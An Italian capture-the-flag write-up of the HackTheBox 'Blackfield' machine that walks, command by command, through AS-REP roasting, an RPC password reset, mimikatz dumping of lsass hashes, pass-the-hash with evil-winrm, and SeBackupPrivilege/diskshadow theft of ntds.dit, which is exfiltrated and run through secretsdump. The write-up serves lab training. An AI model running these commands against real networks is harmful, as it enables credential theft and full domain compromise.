Blackfield

Di seguito l’output della scansione nmap:

# Nmap 7.80 scan initiated Wed Aug 26 04:37:46 2020 as: nmap -sV -p53,88,135,389,445,593,3268,5985 -oA full-ports 10.10.10.203
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.14s latency).

PORT     STATE    SERVICE        VERSION
53/tcp   filtered domain
88/tcp   filtered kerberos-sec
135/tcp  filtered msrpc
389/tcp  filtered ldap
445/tcp  filtered microsoft-ds
593/tcp  filtered http-rpc-epmap
3268/tcp filtered globalcatLDAP
5985/tcp open     http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 26 04:37:56 2020 -- 1 IP address (1 host up) scanned in 9.44 seconds

Per prima cosa do un’occhiata agli share sulla macchina:

smbclient -L \\\\blackfield.htb

E’ possibile aggere anonimamente alla cartella profiles in cui sembra esserci una lista di utenti:

Salvo la lista e provo a verificare gli utenti con l’ausilio di Kerberos (porta 53):

GetNPUsers.py blackfield.local/ -usersfile userlist3.txt -format hashcat -dc-ip blackfield.htb

In questo modo ho la conferma o meno dell’esistenza di un utente e se sono fortunato ricevo pure un ticket da cui posso estrarre la password (AS-REP Roast), e infatti:

Passo il ticket ad hashcat ed estraggo la password per l’utenza support:

Con questo sistema riesco a rilevare l’esistenza anche di altri account: audit2020 e svc_backup.

Con le nuove credenziali provo a riconnettermi agli share a cui prima non avevo accesso attraverso smb ma non cambia nulla, non trovo niente di che.

Do un’occhiata ad RPC, mi viene in mente che forse un utenza denominata support possa ad esempio cambiare la password degli utenti, così provo ad impostare una password nuova per l’utente audit2020:

net rpc password audit2020 -U support -S 10.10.10.192
Enter new password for audit2020: #00^BlackKnight
Enter WORKGROUP\support's password: #00^BlackKnight

Funziona! Riferimenti: https://malicious.link/post/2017/reset-ad-user-password-with-linux/

Riprovo ad accedere ad smb con le credenziali audit2020:#00^BlackKnight, riesco a visualizzare e scaricare il contenuto della cartella forensics.

Scarico tutto! All’intenrno di memory_analysis trovo il dump del processo lsass.exe, il processo che contiene le credenziali di Windows!

Mi sposto sulla mia macchina windows e con l’ausilio di mimkatz riesco ad estrarre informazioni dal dump di lsass:

mimikatz.exe
sekurlsa::minidump lsass.DMP
mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.DMP' file for minidump...

Authentication Id : 0 ; 406458 (00000000:000633ba)
Session           : Interactive from 2
User Name         : svc_backup
Domain            : BLACKFIELD
Logon Server      : DC01
Logon Time        : 2/23/2020 8:00:03 PM
SID               : S-1-5-21-4194615774-2175524697-3563712290-1413
        msv :
         [00000003] Primary
         * Username : svc_backup
         * Domain   : BLACKFIELD
         * NTLM     : 9658d1d1dcd9250115e2205d9f48400d
         * SHA1     : 463c13a9a31fc3252c68ba0a44f0221626a33e5c
         * DPAPI    : a03cd8e9d30171f3cfe8caad92fef621
        tspkg :
        wdigest :
         * Username : svc_backup
         * Domain   : BLACKFIELD
         * Password : (null)
        kerberos :
         * Username : svc_backup
         * Domain   : BLACKFIELD.LOCAL
         * Password : (null)
        ssp :
        credman :

Bingo! Non c’è la password ma c’è l’hash dell’utente svc_backup, posso utilizzare pass the hash con evil winrm.

evil-winrm -i blackfield.htb -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

Prendo la user flag:

A questo punto controllo i privilegi di svc_backup:

whoami /priv

SeBackupPrivilege consente di accedere a qualsiasi file o cartella se si procede nel contesto di un agente di backup.

Riferimenti: https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf

Utilizzando diskshadow è possibile fare il backup del file ntds.dit (Il database di ActiveDirectory, contiene tutto). E’ necessario farlo perché altrimenti non sarebbe possibile copiare il file dal momento che è utilizzato dal sistema. Diskshadow invece permette di farne il backup e successivamente saremo in grado di copiare la copia di backup con un tool powershell.

Dal momento che diskshadow apre una shell interattiva ed evil-winrm non ci permette di utilizzarla, occorre inserire i comandi in uno script:

SET CONTEXT PERSISTENT NOWRITERSd
add volume c: alias favad
created
expose %fava% z:d

Un carattere finale dopo ogni comando è necessario, un carattere qualsiasi va bene. Non ho idea del perché ma sta cosa mi ha fatto tribolare parecchio.

Prima di eseguire lo script occorre spostarsi in una directory scrivibile da diskshadow, tipo c:\temp.

Invoke-WebRequest "http://10.10.14.xxx/script.txt" -OutFile "C:\users\svc_backup\documents\script.txt"
cd c:\
mkdir temp
cd temp
diskshadow /s c:\users\svc_backup\documents\script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  8/27/2020 7:34:06 AM

-> SET CONTEXT PERSISTENT NOWRITERS
-> add volume c: alias fava
-> create
Alias fava for shadow ID {41bd3e40-4fc7-43e8-8042-7378a68f7192} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {dc9b3173-2f0a-43d8-8d2e-3ddb841a1e07} set as environment variable.

Querying all shadow copies with the shadow copy set ID {dc9b3173-2f0a-43d8-8d2e-3ddb841a1e07}

        * Shadow copy ID = {41bd3e40-4fc7-43e8-8042-7378a68f7192}               %fava%
                - Shadow copy set: {dc9b3173-2f0a-43d8-8d2e-3ddb841a1e07}       %VSS_SHADOW_SET%
                - Original count of shadow copies = 1
                - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
                - Creation time: 8/27/2020 7:34:08 AM
                - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
                - Originating machine: DC01.BLACKFIELD.local
                - Service machine: DC01.BLACKFIELD.local
                - Not exposed
                - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
                - Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %fava% z:
-> %fava% = {41bd3e40-4fc7-43e8-8042-7378a68f7192}
The shadow copy was successfully exposed as z:\.
->

A questo punto si deve copiare il file NTDS.dit con l’ausilio di queste librerie:

https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

Una volta caricate sulla box vanno importate in powershell, successivamente è possibile copiare il file:

Import-module .\SeBackupPrivilegeUtils.dll
Import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege Z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

Poi esporto il file system:

reg save HKLM\SYSTEM c:\temp\system

Scarico entrambi i file sulla mia macchina:

download system
Info: Downloading C:\temp\system to system                                                        Info: Download successful!

download ndts.dit
Info: Downloading C:\temp\ndts.dit to ndts.dit
Info: Download successful!

Ed estraggo gli hash delle password:

secretsdump.py -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash

Posso finalmente collegarmi come amministratore e prendere la fag di root: